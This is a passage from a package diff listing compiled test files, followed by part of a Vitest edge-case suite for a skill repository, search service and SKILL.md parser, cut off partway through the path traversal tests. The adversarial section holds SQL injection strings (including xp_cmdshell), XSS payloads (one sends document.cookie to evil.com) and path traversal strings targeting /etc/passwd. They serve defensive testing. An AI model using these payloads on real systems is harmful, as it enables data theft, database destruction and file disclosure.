- package/dist/tests/SessionHealthMonitor.test.js +449 -0
- package/dist/tests/SessionHealthMonitor.test.js.map +1 -0
- package/dist/tests/SessionManager.security.test.d.ts +10 -0
- package/dist/tests/SessionManager.security.test.d.ts.map +1 -0
- package/dist/tests/SessionManager.security.test.js +395 -0
- package/dist/tests/SessionManager.security.test.js.map +1 -0
- package/dist/tests/SessionManager.test.d.ts +8 -0
- package/dist/tests/SessionManager.test.d.ts.map +1 -0
- package/dist/tests/SessionManager.test.js +446 -0
- package/dist/tests/SessionManager.test.js.map +1 -0
- package/dist/tests/SkillMatcher.test.d.ts +2 -0
- package/dist/tests/SkillMatcher.test.d.ts.map +1 -0
- package/dist/tests/SkillMatcher.test.js +253 -0
- package/dist/tests/SkillMatcher.test.js.map +1 -0
- package/dist/tests/SkillRepository.test.d.ts +5 -0
- package/dist/tests/SkillRepository.test.d.ts.map +1 -0
- package/dist/tests/SkillRepository.test.js +237 -0
- package/dist/tests/SkillRepository.test.js.map +1 -0
- package/dist/tests/SwarmIndexer.test.d.ts +11 -0
- package/dist/tests/SwarmIndexer.test.d.ts.map +1 -0
- package/dist/tests/SwarmIndexer.test.js +374 -0
- package/dist/tests/SwarmIndexer.test.js.map +1 -0
- package/dist/tests/TieredCache.test.d.ts +7 -0
- package/dist/tests/TieredCache.test.d.ts.map +1 -0
- package/dist/tests/TieredCache.test.js +529 -0
- package/dist/tests/TieredCache.test.js.map +1 -0
- package/dist/tests/UsageAnalyticsService.test.d.ts +7 -0
- package/dist/tests/UsageAnalyticsService.test.d.ts.map +1 -0
- package/dist/tests/UsageAnalyticsService.test.js +238 -0
- package/dist/tests/UsageAnalyticsService.test.js.map +1 -0
- package/dist/tests/UsageTracker.test.d.ts +7 -0
- package/dist/tests/UsageTracker.test.d.ts.map +1 -0
- package/dist/tests/UsageTracker.test.js +196 -0
- package/dist/tests/UsageTracker.test.js.map +1 -0
- package/dist/tests/WebhookHandler.test.d.ts +10 -0
- package/dist/tests/WebhookHandler.test.d.ts.map +1 -0
- package/dist/tests/WebhookHandler.test.js +592 -0
- package/dist/tests/WebhookHandler.test.js.map +1 -0
- package/dist/tests/analytics/metrics-aggregator.test.d.ts +11 -0
- package/dist/tests/analytics/metrics-aggregator.test.d.ts.map +1 -0
- package/dist/tests/analytics/metrics-aggregator.test.js +273 -0
- package/dist/tests/analytics/metrics-aggregator.test.js.map +1 -0
- package/dist/tests/analytics/metrics-exporter.test.d.ts +11 -0
- package/dist/tests/analytics/metrics-exporter.test.d.ts.map +1 -0
- package/dist/tests/analytics/metrics-exporter.test.js +371 -0
- package/dist/tests/analytics/metrics-exporter.test.js.map +1 -0
- package/dist/tests/analytics/usage-tracker.test.d.ts +10 -0
- package/dist/tests/analytics/usage-tracker.test.d.ts.map +1 -0
- package/dist/tests/analytics/usage-tracker.test.js +151 -0
- package/dist/tests/analytics/usage-tracker.test.js.map +1 -0
- package/dist/tests/anonymizer.test.d.ts +8 -0
- package/dist/tests/anonymizer.test.d.ts.map +1 -0
- package/dist/tests/anonymizer.test.js +153 -0
- package/dist/tests/anonymizer.test.js.map +1 -0
- package/dist/tests/cache.test.d.ts +6 -0
- package/dist/tests/cache.test.d.ts.map +1 -0
- package/dist/tests/cache.test.js +170 -0
- package/dist/tests/cache.test.js.map +1 -0
- package/dist/tests/e2e/security/security.e2e.test.d.ts +8 -0
- package/dist/tests/e2e/security/security.e2e.test.d.ts.map +1 -0
- package/dist/tests/e2e/security/security.e2e.test.js +448 -0
- package/dist/tests/e2e/security/security.e2e.test.js.map +1 -0
- package/dist/tests/edge-cases/EdgeCases.test.d.ts +13 -0
- package/dist/tests/edge-cases/EdgeCases.test.d.ts.map +1 -0
- package/dist/tests/edge-cases/EdgeCases.test.js +844 -0
- package/dist/tests/edge-cases/EdgeCases.test.js.map +1 -0
- package/dist/tests/import-github-skills.test.d.ts +8 -0
- package/dist/tests/import-github-skills.test.d.ts.map +1 -0
- package/dist/tests/import-github-skills.test.js +390 -0
- package/dist/tests/import-github-skills.test.js.map +1 -0
- package/dist/tests/logger.test.d.ts +2 -0
- package/dist/tests/logger.test.d.ts.map +1 -0
- package/dist/tests/logger.test.js +417 -0
- package/dist/tests/logger.test.js.map +1 -0
- package/dist/tests/performance/LargeScalePerformance.test.d.ts +14 -0
- package/dist/tests/performance/LargeScalePerformance.test.d.ts.map +1 -0
- package/dist/tests/performance/LargeScalePerformance.test.js +558 -0
- package/dist/tests/performance/LargeScalePerformance.test.js.map +1 -0
- package/dist/tests/retry.test.d.ts +7 -0
- package/dist/tests/retry.test.d.ts.map +1 -0
- package/dist/tests/retry.test.js +302 -0
- package/dist/tests/retry.test.js.map +1 -0
- package/dist/tests/sanitization.test.d.ts +8 -0
- package/dist/tests/sanitization.test.d.ts.map +1 -0
- package/dist/tests/sanitization.test.js +413 -0
- package/dist/tests/sanitization.test.js.map +1 -0
- package/dist/tests/schema.test.d.ts +5 -0
- package/dist/tests/schema.test.d.ts.map +1 -0
- package/dist/tests/schema.test.js +167 -0
- package/dist/tests/schema.test.js.map +1 -0
- package/dist/tests/scripts/import-to-database.test.d.ts +11 -0
- package/dist/tests/scripts/import-to-database.test.d.ts.map +1 -0
- package/dist/tests/scripts/import-to-database.test.js +325 -0
- package/dist/tests/scripts/import-to-database.test.js.map +1 -0
- package/dist/tests/security/ContinuousSecurity.test.d.ts +6 -0
- package/dist/tests/security/ContinuousSecurity.test.d.ts.map +1 -0
- package/dist/tests/security/ContinuousSecurity.test.js +595 -0
- package/dist/tests/security/ContinuousSecurity.test.js.map +1 -0
- package/dist/tests/security/ReDoS.test.d.ts +8 -0
- package/dist/tests/security/ReDoS.test.d.ts.map +1 -0
- package/dist/tests/security/ReDoS.test.js +213 -0
- package/dist/tests/security/ReDoS.test.js.map +1 -0
- package/dist/tests/security.test.d.ts +5 -0
- package/dist/tests/security.test.d.ts.map +1 -0
- package/dist/tests/security.test.js +134 -0
- package/dist/tests/security.test.js.map +1 -0
- package/dist/tests/shared.test.d.ts +7 -0
- package/dist/tests/shared.test.d.ts.map +1 -0
- package/dist/tests/shared.test.js +480 -0
- package/dist/tests/shared.test.js.map +1 -0
- package/dist/tests/sources.test.d.ts +5 -0
- package/dist/tests/sources.test.d.ts.map +1 -0
- package/dist/tests/sources.test.js +369 -0
- package/dist/tests/sources.test.js.map +1 -0
- package/dist/tests/stats.test.d.ts +11 -0
- package/dist/tests/stats.test.d.ts.map +1 -0
- package/dist/tests/stats.test.js +124 -0
- package/dist/tests/stats.test.js.map +1 -0
- package/dist/tests/telemetry.test.d.ts +11 -0
- package/dist/tests/telemetry.test.d.ts.map +1 -0
- package/dist/tests/telemetry.test.js +424 -0
- package/dist/tests/telemetry.test.js.map +1 -0
- package/dist/tests/test-utils.d.ts +74 -0
- package/dist/tests/test-utils.d.ts.map +1 -0
- package/dist/tests/test-utils.js +98 -0
- package/dist/tests/test-utils.js.map +1 -0
- package/dist/tests/validate-skills.test.d.ts +5 -0
- package/dist/tests/validate-skills.test.d.ts.map +1 -0
- package/dist/tests/validate-skills.test.js +649 -0
- package/dist/tests/validate-skills.test.js.map +1 -0
- package/dist/tests/validation.test.d.ts +7 -0
- package/dist/tests/validation.test.d.ts.map +1 -0
- package/dist/tests/validation.test.js +495 -0
- package/dist/tests/validation.test.js.map +1 -0
- package/dist/tests/webhooks/WebhookHandler.idempotency.test.d.ts +8 -0
- package/dist/tests/webhooks/WebhookHandler.idempotency.test.d.ts.map +1 -0
- package/dist/tests/webhooks/WebhookHandler.idempotency.test.js +190 -0
- package/dist/tests/webhooks/WebhookHandler.idempotency.test.js.map +1 -0
- package/dist/tests/webhooks/WebhookPayload.security.test.d.ts +8 -0
- package/dist/tests/webhooks/WebhookPayload.security.test.d.ts.map +1 -0
- package/dist/tests/webhooks/WebhookPayload.security.test.js +204 -0
- package/dist/tests/webhooks/WebhookPayload.security.test.js.map +1 -0
- package/dist/vitest.config.d.ts +3 -0
- package/dist/vitest.config.d.ts.map +1 -0
- package/dist/vitest.config.js +13 -0
- package/dist/vitest.config.js.map +1 -0
- package/package.json +77 -0
|
@@ -0,0 +1,844 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* SMI-868: Edge Case Test Suite
|
|
3
|
+
*
|
|
4
|
+
* Comprehensive tests for edge cases including:
|
|
5
|
+
* - Malformed data handling
|
|
6
|
+
* - Large data processing
|
|
7
|
+
* - Adversarial inputs (SQL injection, XSS, path traversal, etc.)
|
|
8
|
+
* - Network error simulation
|
|
9
|
+
*
|
|
10
|
+
* Uses expect().not.toThrow() pattern for graceful degradation tests.
|
|
11
|
+
*/
|
|
12
|
+
import { describe, it, expect, beforeEach, afterEach } from 'vitest';
|
|
13
|
+
import { createDatabase, closeDatabase } from '../../src/db/schema.js';
|
|
14
|
+
import { SkillRepository } from '../../src/repositories/SkillRepository.js';
|
|
15
|
+
import { SearchService } from '../../src/services/SearchService.js';
|
|
16
|
+
import { SkillParser } from '../../src/indexer/SkillParser.js';
|
|
17
|
+
describe('SMI-868: Edge Case Test Suite', () => {
|
|
18
|
+
let db;
|
|
19
|
+
let repo;
|
|
20
|
+
let search;
|
|
21
|
+
let parser;
|
|
22
|
+
beforeEach(() => {
|
|
23
|
+
db = createDatabase(':memory:');
|
|
24
|
+
repo = new SkillRepository(db);
|
|
25
|
+
search = new SearchService(db, { cacheTtl: 0 });
|
|
26
|
+
parser = new SkillParser();
|
|
27
|
+
});
|
|
28
|
+
afterEach(() => {
|
|
29
|
+
if (db)
|
|
30
|
+
closeDatabase(db);
|
|
31
|
+
});
|
|
32
|
+
// ============================================================================
|
|
33
|
+
// 1. MALFORMED DATA TESTS
|
|
34
|
+
// ============================================================================
|
|
35
|
+
describe('Malformed Data', () => {
|
|
36
|
+
describe('Missing Required Fields', () => {
|
|
37
|
+
it('should handle skill creation with missing name gracefully', () => {
|
|
38
|
+
const invalidSkill = {
|
|
39
|
+
description: 'A skill without a name',
|
|
40
|
+
author: 'test-author',
|
|
41
|
+
};
|
|
42
|
+
// Should throw or return error, not crash
|
|
43
|
+
expect(() => {
|
|
44
|
+
try {
|
|
45
|
+
repo.create(invalidSkill);
|
|
46
|
+
}
|
|
47
|
+
catch {
|
|
48
|
+
// Expected - name is required
|
|
49
|
+
}
|
|
50
|
+
}).not.toThrow();
|
|
51
|
+
});
|
|
52
|
+
it('should handle skill creation with null/undefined fields', () => {
|
|
53
|
+
const skillWithNulls = {
|
|
54
|
+
name: 'test-skill',
|
|
55
|
+
description: null,
|
|
56
|
+
author: null,
|
|
57
|
+
repoUrl: null,
|
|
58
|
+
qualityScore: null,
|
|
59
|
+
tags: undefined,
|
|
60
|
+
};
|
|
61
|
+
expect(() => repo.create(skillWithNulls)).not.toThrow();
|
|
62
|
+
const created = repo.create({
|
|
63
|
+
name: 'valid-skill',
|
|
64
|
+
description: undefined,
|
|
65
|
+
author: undefined,
|
|
66
|
+
});
|
|
67
|
+
expect(created).toBeDefined();
|
|
68
|
+
expect(created.id).toBeDefined();
|
|
69
|
+
});
|
|
70
|
+
it('should handle empty object creation attempt', () => {
|
|
71
|
+
expect(() => {
|
|
72
|
+
try {
|
|
73
|
+
repo.create({});
|
|
74
|
+
}
|
|
75
|
+
catch {
|
|
76
|
+
// Expected
|
|
77
|
+
}
|
|
78
|
+
}).not.toThrow();
|
|
79
|
+
});
|
|
80
|
+
});
|
|
81
|
+
describe('Invalid JSON in SKILL.md', () => {
|
|
82
|
+
it('should handle SKILL.md with malformed frontmatter', () => {
|
|
83
|
+
const malformedContents = [
|
|
84
|
+
'--- invalid yaml ---', // Missing closing delimiter
|
|
85
|
+
'---\n{invalid: json, broken}\n---', // Invalid YAML structure
|
|
86
|
+
'---\nname: test\ndescription: [unclosed array\n---', // Unclosed array
|
|
87
|
+
'---\nname:\n - nested: {broken\n---', // Broken nested structure
|
|
88
|
+
'no frontmatter at all', // Missing frontmatter entirely
|
|
89
|
+
'---\n---', // Empty frontmatter
|
|
90
|
+
'------\nname: test\n------', // Wrong delimiters
|
|
91
|
+
];
|
|
92
|
+
for (const content of malformedContents) {
|
|
93
|
+
expect(() => parser.parse(content)).not.toThrow();
|
|
94
|
+
const result = parser.parse(content);
|
|
95
|
+
// Should return null for invalid content, not crash
|
|
96
|
+
expect(result === null || typeof result === 'object').toBe(true);
|
|
97
|
+
}
|
|
98
|
+
});
|
|
99
|
+
it('should handle SKILL.md with truncated content', () => {
|
|
100
|
+
const truncated = '---\nname: te';
|
|
101
|
+
expect(() => parser.parse(truncated)).not.toThrow();
|
|
102
|
+
});
|
|
103
|
+
it('should handle binary garbage in SKILL.md', () => {
|
|
104
|
+
const binaryGarbage = Buffer.from([0x00, 0x01, 0x02, 0xff, 0xfe, 0xfd]).toString();
|
|
105
|
+
expect(() => parser.parse(binaryGarbage)).not.toThrow();
|
|
106
|
+
});
|
|
107
|
+
});
|
|
108
|
+
describe('Extremely Long Descriptions (>10KB)', () => {
|
|
109
|
+
it('should handle descriptions over 10KB', () => {
|
|
110
|
+
const longDescription = 'A'.repeat(15000); // 15KB description
|
|
111
|
+
const skill = {
|
|
112
|
+
name: 'long-description-skill',
|
|
113
|
+
description: longDescription,
|
|
114
|
+
};
|
|
115
|
+
expect(() => repo.create(skill)).not.toThrow();
|
|
116
|
+
const created = repo.create({
|
|
117
|
+
name: 'another-long-desc-skill',
|
|
118
|
+
description: longDescription,
|
|
119
|
+
});
|
|
120
|
+
expect(created).toBeDefined();
|
|
121
|
+
});
|
|
122
|
+
it('should handle 50KB descriptions in search', () => {
|
|
123
|
+
const hugeDescription = 'searchable '.repeat(5000); // ~50KB
|
|
124
|
+
repo.create({
|
|
125
|
+
name: 'huge-description-skill',
|
|
126
|
+
description: hugeDescription,
|
|
127
|
+
});
|
|
128
|
+
expect(() => search.search({ query: 'searchable' })).not.toThrow();
|
|
129
|
+
});
|
|
130
|
+
});
|
|
131
|
+
describe('Unicode and Emoji in Names', () => {
|
|
132
|
+
it('should handle emoji in skill names', () => {
|
|
133
|
+
const emojiSkills = [
|
|
134
|
+
{ name: 'rocket-skill-\u{1F680}', description: 'A rocket skill' },
|
|
135
|
+
{ name: '\u{1F4A1}-idea-skill', description: 'An idea skill' },
|
|
136
|
+
{ name: 'skill-\u{1F525}-fire', description: 'A fire skill' },
|
|
137
|
+
{ name: '\u{1F600}\u{1F601}\u{1F602}', description: 'All emojis' },
|
|
138
|
+
{ name: 'combo-\u{1F1FA}\u{1F1F8}', description: 'Flag emoji' },
|
|
139
|
+
];
|
|
140
|
+
for (const skill of emojiSkills) {
|
|
141
|
+
expect(() => repo.create(skill)).not.toThrow();
|
|
142
|
+
}
|
|
143
|
+
});
|
|
144
|
+
it('should handle various unicode scripts', () => {
|
|
145
|
+
const unicodeSkills = [
|
|
146
|
+
{ name: '\u4E2D\u6587-skill', description: 'Chinese characters' }, // Chinese
|
|
147
|
+
{ name: '\u0420\u0443\u0441\u0441\u043A\u0438\u0439-skill', description: 'Russian' }, // Russian
|
|
148
|
+
{ name: '\u65E5\u672C\u8A9E-skill', description: 'Japanese' }, // Japanese
|
|
149
|
+
{ name: '\uD55C\uAD6D\uC5B4-skill', description: 'Korean' }, // Korean
|
|
150
|
+
{ name: '\u0639\u0631\u0628\u064A-skill', description: 'Arabic' }, // Arabic
|
|
151
|
+
{ name: '\u05E2\u05D1\u05E8\u05D9\u05EA-skill', description: 'Hebrew' }, // Hebrew
|
|
152
|
+
{ name: '\u0E44\u0E17\u0E22-skill', description: 'Thai' }, // Thai
|
|
153
|
+
{ name: '\u0CA8\u0CCD\u0CA8\u0CA1-skill', description: 'Kannada' }, // Kannada
|
|
154
|
+
];
|
|
155
|
+
for (const skill of unicodeSkills) {
|
|
156
|
+
expect(() => repo.create(skill)).not.toThrow();
|
|
157
|
+
}
|
|
158
|
+
});
|
|
159
|
+
it('should handle zero-width characters', () => {
|
|
160
|
+
const zeroWidthSkills = [
|
|
161
|
+
{ name: 'skill\u200B\u200Bname', description: 'Zero-width space' }, // Zero-width space
|
|
162
|
+
{ name: 'skill\u200Cname', description: 'Zero-width non-joiner' }, // ZWNJ
|
|
163
|
+
{ name: 'skill\u200Dname', description: 'Zero-width joiner' }, // ZWJ
|
|
164
|
+
{ name: 'skill\uFEFFname', description: 'BOM character' }, // BOM
|
|
165
|
+
];
|
|
166
|
+
for (const skill of zeroWidthSkills) {
|
|
167
|
+
expect(() => repo.create(skill)).not.toThrow();
|
|
168
|
+
}
|
|
169
|
+
});
|
|
170
|
+
});
|
|
171
|
+
describe('Control Characters', () => {
|
|
172
|
+
it('should handle ASCII control characters in input', () => {
|
|
173
|
+
const controlChars = [
|
|
174
|
+
'\x00', // NULL
|
|
175
|
+
'\x01', // SOH
|
|
176
|
+
'\x02', // STX
|
|
177
|
+
'\x03', // ETX
|
|
178
|
+
'\x07', // BEL
|
|
179
|
+
'\x08', // BS
|
|
180
|
+
'\x09', // TAB (should be allowed)
|
|
181
|
+
'\x0A', // LF (should be allowed)
|
|
182
|
+
'\x0B', // VT
|
|
183
|
+
'\x0C', // FF
|
|
184
|
+
'\x0D', // CR (should be allowed)
|
|
185
|
+
'\x1B', // ESC
|
|
186
|
+
'\x7F', // DEL
|
|
187
|
+
];
|
|
188
|
+
for (const char of controlChars) {
|
|
189
|
+
const skill = {
|
|
190
|
+
name: `skill${char}test`,
|
|
191
|
+
description: `Description with ${char} control char`,
|
|
192
|
+
};
|
|
193
|
+
expect(() => {
|
|
194
|
+
try {
|
|
195
|
+
repo.create(skill);
|
|
196
|
+
}
|
|
197
|
+
catch {
|
|
198
|
+
// Some control chars may be rejected
|
|
199
|
+
}
|
|
200
|
+
}).not.toThrow();
|
|
201
|
+
}
|
|
202
|
+
});
|
|
203
|
+
it('should handle ANSI escape sequences', () => {
|
|
204
|
+
const ansiSequences = [
|
|
205
|
+
'\x1B[31mred\x1B[0m',
|
|
206
|
+
'\x1B[1mbold\x1B[0m',
|
|
207
|
+
'\x1B[4munderline\x1B[0m',
|
|
208
|
+
'\x1B[?25h', // Show cursor
|
|
209
|
+
'\x1B[2J', // Clear screen
|
|
210
|
+
];
|
|
211
|
+
for (const seq of ansiSequences) {
|
|
212
|
+
const skill = {
|
|
213
|
+
name: `ansi-skill-${Buffer.from(seq).toString('hex')}`,
|
|
214
|
+
description: `Contains ANSI: ${seq}`,
|
|
215
|
+
};
|
|
216
|
+
expect(() => repo.create(skill)).not.toThrow();
|
|
217
|
+
}
|
|
218
|
+
});
|
|
219
|
+
});
|
|
220
|
+
});
|
|
221
|
+
// ============================================================================
|
|
222
|
+
// 2. LARGE DATA TESTS
|
|
223
|
+
// ============================================================================
|
|
224
|
+
describe('Large Data', () => {
|
|
225
|
+
describe('50KB SKILL.md Files', () => {
|
|
226
|
+
it('should parse 50KB SKILL.md content', () => {
|
|
227
|
+
const largeDescription = 'Lorem ipsum dolor sit amet. '.repeat(2000); // ~50KB
|
|
228
|
+
const largeContent = `---
|
|
229
|
+
name: large-skill
|
|
230
|
+
description: ${largeDescription}
|
|
231
|
+
author: test-author
|
|
232
|
+
version: 1.0.0
|
|
233
|
+
tags:
|
|
234
|
+
- large
|
|
235
|
+
- test
|
|
236
|
+
---
|
|
237
|
+
|
|
238
|
+
# Large Skill
|
|
239
|
+
|
|
240
|
+
${largeDescription}
|
|
241
|
+
`;
|
|
242
|
+
const startTime = performance.now();
|
|
243
|
+
expect(() => parser.parse(largeContent)).not.toThrow();
|
|
244
|
+
const duration = performance.now() - startTime;
|
|
245
|
+
// Should complete in reasonable time (under 1 second)
|
|
246
|
+
expect(duration).toBeLessThan(1000);
|
|
247
|
+
});
|
|
248
|
+
it('should handle 100KB SKILL.md files', () => {
|
|
249
|
+
const hugeContent = 'x'.repeat(100000); // 100KB
|
|
250
|
+
const content = `---
|
|
251
|
+
name: huge-skill
|
|
252
|
+
description: A huge skill
|
|
253
|
+
---
|
|
254
|
+
|
|
255
|
+
${hugeContent}
|
|
256
|
+
`;
|
|
257
|
+
expect(() => parser.parse(content)).not.toThrow();
|
|
258
|
+
});
|
|
259
|
+
});
|
|
260
|
+
describe('100+ Dependencies', () => {
|
|
261
|
+
it('should handle skills with 100+ dependencies', () => {
|
|
262
|
+
const manyDependencies = Array.from({ length: 150 }, (_, i) => `dep-${i}`);
|
|
263
|
+
const content = `---
|
|
264
|
+
name: many-deps-skill
|
|
265
|
+
description: A skill with many dependencies
|
|
266
|
+
dependencies:
|
|
267
|
+
${manyDependencies.map((d) => ` - ${d}`).join('\n')}
|
|
268
|
+
---
|
|
269
|
+
|
|
270
|
+
# Many Dependencies Skill
|
|
271
|
+
`;
|
|
272
|
+
expect(() => parser.parse(content)).not.toThrow();
|
|
273
|
+
const result = parser.parse(content);
|
|
274
|
+
expect(result).not.toBeNull();
|
|
275
|
+
if (result) {
|
|
276
|
+
expect(result.dependencies.length).toBe(150);
|
|
277
|
+
}
|
|
278
|
+
});
|
|
279
|
+
it('should handle nested dependency structures', () => {
|
|
280
|
+
const content = `---
|
|
281
|
+
name: nested-deps
|
|
282
|
+
dependencies:
|
|
283
|
+
- dep-1
|
|
284
|
+
- dep-2
|
|
285
|
+
- dep-3
|
|
286
|
+
---`;
|
|
287
|
+
expect(() => parser.parse(content)).not.toThrow();
|
|
288
|
+
});
|
|
289
|
+
});
|
|
290
|
+
describe('1000+ Tags', () => {
|
|
291
|
+
it('should handle skills with 1000+ tags', () => {
|
|
292
|
+
const manyTags = Array.from({ length: 1000 }, (_, i) => `tag-${i}`);
|
|
293
|
+
const skill = {
|
|
294
|
+
name: 'many-tags-skill',
|
|
295
|
+
description: 'A skill with many tags',
|
|
296
|
+
tags: manyTags,
|
|
297
|
+
};
|
|
298
|
+
expect(() => repo.create(skill)).not.toThrow();
|
|
299
|
+
});
|
|
300
|
+
it('should search efficiently with 1000+ tags', () => {
|
|
301
|
+
const manyTags = Array.from({ length: 1000 }, (_, i) => `searchable-tag-${i}`);
|
|
302
|
+
repo.create({
|
|
303
|
+
name: 'searchable-tags-skill',
|
|
304
|
+
description: 'Searchable skill',
|
|
305
|
+
tags: manyTags,
|
|
306
|
+
});
|
|
307
|
+
const startTime = performance.now();
|
|
308
|
+
expect(() => search.search({ query: 'searchable-tag-500' })).not.toThrow();
|
|
309
|
+
const duration = performance.now() - startTime;
|
|
310
|
+
// Should complete in reasonable time
|
|
311
|
+
expect(duration).toBeLessThan(500);
|
|
312
|
+
});
|
|
313
|
+
it('should handle SKILL.md with 1000+ inline tags', () => {
|
|
314
|
+
const manyTags = Array.from({ length: 1000 }, (_, i) => `t${i}`).join(', ');
|
|
315
|
+
const content = `---
|
|
316
|
+
name: inline-tags
|
|
317
|
+
tags: [${manyTags}]
|
|
318
|
+
---`;
|
|
319
|
+
expect(() => parser.parse(content)).not.toThrow();
|
|
320
|
+
});
|
|
321
|
+
});
|
|
322
|
+
describe('Bulk Operations', () => {
|
|
323
|
+
it('should handle batch creation of 500 skills', () => {
|
|
324
|
+
const skills = Array.from({ length: 500 }, (_, i) => ({
|
|
325
|
+
name: `bulk-skill-${i}`,
|
|
326
|
+
description: `Bulk created skill number ${i}`,
|
|
327
|
+
tags: [`bulk`, `test-${i % 10}`],
|
|
328
|
+
}));
|
|
329
|
+
const startTime = performance.now();
|
|
330
|
+
expect(() => repo.createBatch(skills)).not.toThrow();
|
|
331
|
+
const duration = performance.now() - startTime;
|
|
332
|
+
// Should complete batch in reasonable time (under 5 seconds)
|
|
333
|
+
expect(duration).toBeLessThan(5000);
|
|
334
|
+
});
|
|
335
|
+
it('should handle search across 1000 skills', () => {
|
|
336
|
+
// Create 1000 skills
|
|
337
|
+
const skills = Array.from({ length: 1000 }, (_, i) => ({
|
|
338
|
+
name: `searchable-skill-${i}`,
|
|
339
|
+
description: `A searchable skill for testing large datasets. Index: ${i}`,
|
|
340
|
+
tags: ['searchable', `group-${i % 50}`],
|
|
341
|
+
}));
|
|
342
|
+
repo.createBatch(skills);
|
|
343
|
+
const startTime = performance.now();
|
|
344
|
+
const results = search.search({ query: 'searchable', limit: 100 });
|
|
345
|
+
const duration = performance.now() - startTime;
|
|
346
|
+
expect(results.items.length).toBeLessThanOrEqual(100);
|
|
347
|
+
expect(duration).toBeLessThan(200);
|
|
348
|
+
});
|
|
349
|
+
});
|
|
350
|
+
});
|
|
351
|
+
// ============================================================================
|
|
352
|
+
// 3. ADVERSARIAL INPUTS
|
|
353
|
+
// ============================================================================
|
|
354
|
+
describe('Adversarial Inputs', () => {
|
|
355
|
+
describe('SQL Injection in Name (Verify Parameterized Queries)', () => {
|
|
356
|
+
it('should safely handle SQL injection attempts in skill name', () => {
|
|
357
|
+
const sqlInjectionPayloads = [
|
|
358
|
+
"'; DROP TABLE skills; --",
|
|
359
|
+
"' OR '1'='1",
|
|
360
|
+
"'; DELETE FROM skills WHERE '1'='1",
|
|
361
|
+
"1; UPDATE skills SET name='hacked'",
|
|
362
|
+
"' UNION SELECT * FROM skills--",
|
|
363
|
+
"'; INSERT INTO skills VALUES('malicious','hacked',NULL)--",
|
|
364
|
+
"admin'--",
|
|
365
|
+
"' OR 1=1--",
|
|
366
|
+
"'); DROP TABLE skills; --",
|
|
367
|
+
"1' OR '1' = '1' /*",
|
|
368
|
+
"' OR ''='",
|
|
369
|
+
"'; EXEC xp_cmdshell('cmd.exe'); --",
|
|
370
|
+
'0x27204F52202731273D2731', // Hex encoded
|
|
371
|
+
];
|
|
372
|
+
for (const payload of sqlInjectionPayloads) {
|
|
373
|
+
const skill = {
|
|
374
|
+
name: payload,
|
|
375
|
+
description: 'Testing SQL injection',
|
|
376
|
+
};
|
|
377
|
+
// Should not throw - parameterized queries should handle this
|
|
378
|
+
expect(() => repo.create(skill)).not.toThrow();
|
|
379
|
+
}
|
|
380
|
+
// Verify database is still intact
|
|
381
|
+
const results = search.search({ query: 'Testing' });
|
|
382
|
+
expect(results).toBeDefined();
|
|
383
|
+
});
|
|
384
|
+
it('should safely handle SQL injection in search queries', () => {
|
|
385
|
+
const sqlPayloads = [
|
|
386
|
+
"test' OR '1'='1",
|
|
387
|
+
"'; DROP TABLE skills;--",
|
|
388
|
+
'test UNION SELECT * FROM skills',
|
|
389
|
+
'1 AND 1=1',
|
|
390
|
+
];
|
|
391
|
+
for (const payload of sqlPayloads) {
|
|
392
|
+
// FTS5 may throw syntax errors on special chars - that's safe behavior
|
|
393
|
+
// The key is that it doesn't execute SQL injection, just rejects bad syntax
|
|
394
|
+
expect(() => {
|
|
395
|
+
try {
|
|
396
|
+
search.search({ query: payload });
|
|
397
|
+
}
|
|
398
|
+
catch (e) {
|
|
399
|
+
// SqliteError for FTS5 syntax is acceptable (graceful rejection)
|
|
400
|
+
if (e instanceof Error && e.message.includes('fts5')) {
|
|
401
|
+
return; // FTS5 syntax error is safe
|
|
402
|
+
}
|
|
403
|
+
throw e; // Re-throw unexpected errors
|
|
404
|
+
}
|
|
405
|
+
}).not.toThrow();
|
|
406
|
+
}
|
|
407
|
+
});
|
|
408
|
+
it('should safely handle SQL injection in author field', () => {
|
|
409
|
+
const skill = {
|
|
410
|
+
name: 'safe-skill',
|
|
411
|
+
author: "'; DROP TABLE skills;--",
|
|
412
|
+
description: 'Testing author injection',
|
|
413
|
+
};
|
|
414
|
+
expect(() => repo.create(skill)).not.toThrow();
|
|
415
|
+
});
|
|
416
|
+
});
|
|
417
|
+
describe('XSS in Description', () => {
|
|
418
|
+
it('should store XSS payloads without executing', () => {
|
|
419
|
+
const xssPayloads = [
|
|
420
|
+
'<script>alert("xss")</script>',
|
|
421
|
+
'<img src=x onerror=alert(1)>',
|
|
422
|
+
'<svg onload=alert(1)>',
|
|
423
|
+
'"><script>alert(String.fromCharCode(88,83,83))</script>',
|
|
424
|
+
"javascript:alert('XSS')",
|
|
425
|
+
'<body onload=alert(1)>',
|
|
426
|
+
'<iframe src="javascript:alert(1)">',
|
|
427
|
+
'<a href="javascript:alert(1)">click</a>',
|
|
428
|
+
"'-alert(1)-'",
|
|
429
|
+
'<img src="x" onerror="alert(1)">',
|
|
430
|
+
'<div style="background:url(javascript:alert(1))">',
|
|
431
|
+
'{{constructor.constructor("alert(1)")()}}', // Template injection
|
|
432
|
+
'<script>fetch("evil.com?cookie="+document.cookie)</script>',
|
|
433
|
+
'<input onfocus=alert(1) autofocus>',
|
|
434
|
+
'<marquee onstart=alert(1)>',
|
|
435
|
+
];
|
|
436
|
+
for (const payload of xssPayloads) {
|
|
437
|
+
const skill = {
|
|
438
|
+
name: `xss-test-${Buffer.from(payload).toString('hex').slice(0, 20)}`,
|
|
439
|
+
description: payload,
|
|
440
|
+
};
|
|
441
|
+
expect(() => repo.create(skill)).not.toThrow();
|
|
442
|
+
}
|
|
443
|
+
// Verify payloads are stored as data, not executed
|
|
444
|
+
const results = search.search({ query: 'script' });
|
|
445
|
+
expect(results).toBeDefined();
|
|
446
|
+
});
|
|
447
|
+
it('should handle XSS in tags', () => {
|
|
448
|
+
const skill = {
|
|
449
|
+
name: 'xss-tags-skill',
|
|
450
|
+
tags: [
|
|
451
|
+
'<script>alert(1)</script>',
|
|
452
|
+
'"><img src=x onerror=alert(1)>',
|
|
453
|
+
"javascript:alert('xss')",
|
|
454
|
+
],
|
|
455
|
+
};
|
|
456
|
+
expect(() => repo.create(skill)).not.toThrow();
|
|
457
|
+
});
|
|
458
|
+
});
|
|
459
|
+
describe('Path Traversal in ID', () => {
|
|
460
|
+
it('should reject or sanitize path traversal in skill IDs', () => {
|
|
461
|
+
const pathTraversalPayloads = [
|
|
462
|
+
'../../../etc/passwd',
|
|
463
|
+
'..\\..\\..\\windows\\system32\\config',
|
|
464
|
+
'....//....//....//etc/passwd',
|
|
465
|
+
'.../.../.../etc/passwd',
|
|
466
|
+
